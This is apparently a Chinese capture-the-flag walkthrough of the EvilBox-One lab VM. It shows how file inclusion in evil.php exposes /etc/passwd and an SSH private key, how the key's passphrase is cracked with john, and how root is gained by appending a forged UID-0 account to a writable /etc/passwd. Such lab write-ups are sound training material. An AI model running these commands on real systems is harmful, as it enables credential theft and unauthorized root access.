一、主机信息
kali:192.168.21.31 EvilBox---One:192.168.21.51
二、实战步骤
1.先使用fscan对目标ip进行扫描
发现开放了80和22端口
2.存在web服务,访问web网站
3.进行目录扫描,获取更多信息
dirsearch -u "http://192.168.21.51"
4.当访问robots.txt目录时出现一个疑似用户
5.访问secret目录时是空白页面,没有可用信息
6.使用gobuster对该目录进行进一步扫描,又扫描出evil.php目录
gobuster dir -u http://192.168.21.51/secret/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt
注:御剑也可以扫描出该目录
访问时依旧是空白页面
7.疑似存在文件包含漏洞
使用wfuzz工具进行模糊测试,得到参数command
wfuzz -u "192.168.21.51/secret/evil.php?FUZZ=../../../../etc/passwd" -w /usr/share/wfuzz/wordlist/general/common.txt --hw 0
8.访问http://192.168.21.51/secret/evil.php?command=/etc/passwd查看/etc/passw文件内容,发现mowree用户
9.由于开放了22端口,尝试远程连接,看是否能使用密钥对登录,找到mowree的密钥
注:一般用户的 .ssh 目录下会存在三个文件: 1. id_rsa : 私钥。 2. authorized_keys : 认证关键字文件。 3. id_rsa.pub : 公钥。
查看私钥
查看公钥,显示空页面
查看认证关键字有用户信息: 用户名@主机名
10.复制私钥内容保存在kali中
11.id_rsa 可以用于ssh登陆,但缺少密码,需要破解密码,需要用到一个脚本: ssh2john
下载地址:
https://github.com/aniello001/ssh2john
python3 ssh2john.py id-rsa > hash.txt
使用john破解密码,使用kali自带的字典:/usr/share/john/password.lst
john --wordlist=/usr/share/john/password.lst hash.txt
12.得到密码为unicorn,进行ssh连接
注:使用自己复制粘贴的密钥文件连接时会出现以下两个错(文件不符合和权限错误)
原因是由于查询到的密钥文件内容直接复制,然后在kali本地粘贴这些内容导致的。
解决方法:从目标主机将私钥原始文件下载到本地
在目标主机中将私钥文件放置到网站根目录
在kali中下载密钥文件到本地
修改该密钥文件权限
之后就可以成功连接
13.查看当前路径发现存在user.txt文件,查看内容得到第一个flag
14.查看当前用户权限较低,尝试提权收集更多信息
15.提权
(1)查看/etc/passwd文件发现具有写的权限
可以在passwd文件中添加一个新的root权限的账户
(2)在kali中使用openssl工具生成加盐hash值
openssl passwd -1 -salt asd 123456
(3)按照root账户的格式写入到/etc/passwd文件中
echo 'asd:$1$asd$iWcDBoNk0ETbqlPMf93pE1:0:0::/root:/bin/bash' >> /etc/passwd
(4)切换asd用户,输入密码后成功切换到root账户
16.进入root目录下发现root.txt文件,查看其内容得到第二个flag